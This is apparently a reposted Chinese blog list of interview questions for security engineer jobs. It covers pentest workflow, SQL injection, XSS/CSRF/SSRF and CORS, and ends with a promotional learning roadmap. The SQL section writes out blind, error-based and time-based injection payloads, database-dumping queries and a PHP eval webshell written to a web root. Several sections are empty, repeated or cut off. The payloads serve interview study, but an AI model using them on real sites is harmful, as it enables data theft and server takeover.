爆肝3个月整理的一套网络安全工程师面试题
2026/7/12 21:38:39 网站建设 项目流程

前言

这次花了三个月的时间一边学习一边整理网络安全服务职位(包括但不仅限于:安全服务工程师,安全运营工程师,安全运维工程师,安全攻防工程师“)的面试问题。

话不多说,让我们一起学习吧

目前来说还有非常多的不严谨和冗余,恳请小伙伴们指正修改!

一、SQL注入防护方法:

二、常见的Web安全漏洞

首先对于新人来说,大多数同学都是没有实战经验的,对应面试官提问聊聊你的渗透测试实战,但很多人却无从开口。

渗透测试流程相关


一、给你一个网站你是如何来渗透测试的?

在获取书面授权的前提下。
1)信息收集

2)漏洞扫描

3)漏洞利用

4)权限提升

5) 日志清理
6)总结报告及修复方案

二、渗透测试流程

  1. 概述
  2. 测试基本信息
  3. 测试范围
  4. 测试时间
  5. 测试任务
  6. 测试过程
  7. 信息安全风险综合分析
  8. 整体风险分析
  9. 风险影响分析
  10. 系统安全分析
  11. 安全漏洞列表
  12. 解决方案建议
  13. 复测报告

SQL面试题

一、SQL注入类型

二、SQL注入的原理

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。

三、如何进行SQL注入的防御

四、sqlmap,怎么对一个注入点注入?

五、mysql的网站注入,5.0以上和5.0以下有什么区别?

10年前就出了5.0,现在都到5.7了,没啥意义的问题

六、MySQL存储引擎?

1、InnoDB:主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束

2、MyISAM:访问速度快,不支持事务,逐渐被淘汰
3、MEMORY:BTREE索引或者HASH索引。将表中数据放在内存中,并发性能差。
4、MERGE、Archive等等不常用的

七、什么是事务?

事务是一组原子性的SQL语句或者说是一个独立的工作单元,如果数据库引擎能够成功对数据库应用这组SQL语句,那么就执行,如果其中有任何一条语句因为崩溃或其它原因无法执行,那么所有的语句都不会执行。也就是说,事务内的语句,要么全部执行成功,要么全部执行失败。
举个银行应用的典型例子:

假设银行的数据库有两张表:支票表和储蓄表,现在某个客户A要从其支票账户转移2000元到其储蓄账户,那么至少需求三个步骤:

a.检查A的支票账户余额高于2000元;

b.从A的支票账户余额中减去2000元;

c.在A的储蓄账户余额中增加2000元。

这三个步骤必须要打包在一个事务中,任何一个步骤失败,则必须要回滚所有的步骤,否则A作为银行的客户就可能要莫名损失2000元,就出问题了。这就是一个典型的事务,这个事务是不可分割的最小工作单元,整个事务中的所有操作要么全部提交成功,要么全部失败回滚,不可能只执行其中一部分,这也是事务的原子性特征。

八、读锁和写锁

读锁是共享的,即相互不阻塞的,多个客户在同一时刻可以读取同一资源,互不干扰。写锁是排他的,即一个写锁会阻塞其它的写锁和读锁,只有这样,才能确保给定时间内,只有一个用户能执行写入,防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。

九、MySQL的索引

索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引;MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。

十、ORDER BY在注入的运用

order by后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。

十一、GPC是什么?GPC之后怎么绕过?

如果magic_quotes_gpc=On,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。

十二、Mysql一个@和两个@什么区别

@为用户变量,使用SET @var1=1赋值
@@ 为系统变量 ,包括全局变量show global variables \G;和会话变量show session variables \G;

十三、注入/绕过常用的函数

1、基于布尔SQL盲注

left(database(),1)>‘s’
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
regexp正则注入 select user() regexp ‘^[a-z]’;
select user() like ‘ro%’

2、基于报错的SQL盲注
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10).exp()select * from test where id=1 and exp(~(select * from(select user())a));

3、延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

十四、盲注和延时注入的共同点?

都是一个字符一个字符的判断

十五、如何拿一个网站的webshell?

上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

十六、sql注入写文件都有哪些函数?

select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
select ‘<?php eval($\\\_POST\\\[1\\\]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

十七、各种写shell的问题

1、写shell用什么函数?

2、outfile不能用了怎么办?

3、dumpfile和outfile有什么不一样?outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。

4、sleep()能不能写shell?

5、写shell的条件?

十八、sql注入写文件都有哪些函数?

十九、sql二次注入

第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

交友网站,填写年龄处是一个注入点,页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点,用order by探测列数,union select探测输出点是第几列,

暴库 group_concat(schema_name) from information_schema.schemata
暴表 group_concat(table_name) from information_schema.schemata where table_schema=‘hhh’
获取数据 concat(flag) from flag
修复:在从数据库或文件中取数据的时候,也要进行转义或者过滤。

二十、SQL和NoSQL的区别

SQL关系型数据库,NoSQL(Not only SQL)非关系型数据库

SQL优点

关系型数据库是指用关系数学模型来表示的数据,其中是以二维表的形式描述数据。

结构稳定,不易修改,常用联表查询
查询能力高,可以操作很复杂的查询
一致性高,处理数据会使用封锁保证数据不被改变
表具有逻辑性,易于理解

SQL缺点

不适用高并发读写
不适用海量数据高效读写
层次多,扩展性低
维护一致性开销大
涉及联表查询,复杂,慢

NoSQL优点

采用键值对存储数据

由于数据之间没有关系,所以易扩展,也易于查询
数据结构灵活,每个数据都可以有不同的结构
由于降低了一致性的要求,所以查询速度更快

比较

非关系型数据库的产生是因为随着网站的进化,并发性增加,扩展性高,一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余,并且消耗着性能。因此有了非关系型数据库,它可以算是关系型数据库的一种弱化的结果,在海量数据存储和查询上更胜一筹。

两种数据库没有好坏之分,只是使用的环境不一样。关系型数据库可以说是更严谨的,可靠性更强的数据库,在对于数据精度要求高的环境,比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度,但是对于数据的准确度没有那么高,对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。

二十一、MongoDB注入方式

利用正则:找到y开头的name db.items.find({name: {$regex: “^y”}})

XSS CSRF XXE SSRF

一、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

二、如何防止CSRF?

1,验证referer
2,验证token
详细:浅谈cnode社区如何防止csrf攻击 - CNode技术社区

三、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的

四、啥是同源策略,跨域有几种方式?

浏览器安全的基石是"同源政策",目的是为了保证用户的信息安全,防止恶意网站窃取数据,避免cookie共享。同源含义是协议、域名、端口相同的两个网页才可以共用cookie。目前如果非同源,有三种行为收到限制:
- Cookie、LocalStorage 和 IndexDB 无法读取。
- DOM 无法获得。
- AJAX 请求不能发送

五、如何规避同源策略?

1、JSONP

向服务器请求json数据回调,一般请求URL会加上&callback=xx

foo({ "ip": "8.8.8.8" });

由于

JSONP的劫持
http://blog.knownsec.com/2015/03/jsonp_security_technic/

防御:

验证 JSON 文件调用的来源( Referer ),但是Referer 过滤(正则)不严谨、空 Referer也不行
随机token

2、WebSocket

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

3、CORS(重点)

CORS是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是W3C标准,是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求,CORS允许任何类型的请求。
CORS请求大致和ajax请求,但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话,服务器返回的响应会多出Acess-Control-Allow-*的字段

与JSONP的比较
CORS与JSONP的使用目的相同,但是比JSONP更强大。

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

六、DOM XSS与反射XSS有啥不同,给你10s,如何快速判断一个XSS是否是DOM XSS?

文件上传 文件包含漏洞

一、常见的上传绕过方式

二、PHP文件包含函数

Linux木马查杀

一、常见的设备有啥

:使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。

Linux木马查杀

一、常见的设备有啥

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取

网络安全学习路线&学习资源

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、高级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

视频配套资料&国内外网安书籍、文档&工具

​​​

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

网络安全学习路线&学习资源

本文转自网络如有侵权,请联系删除。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询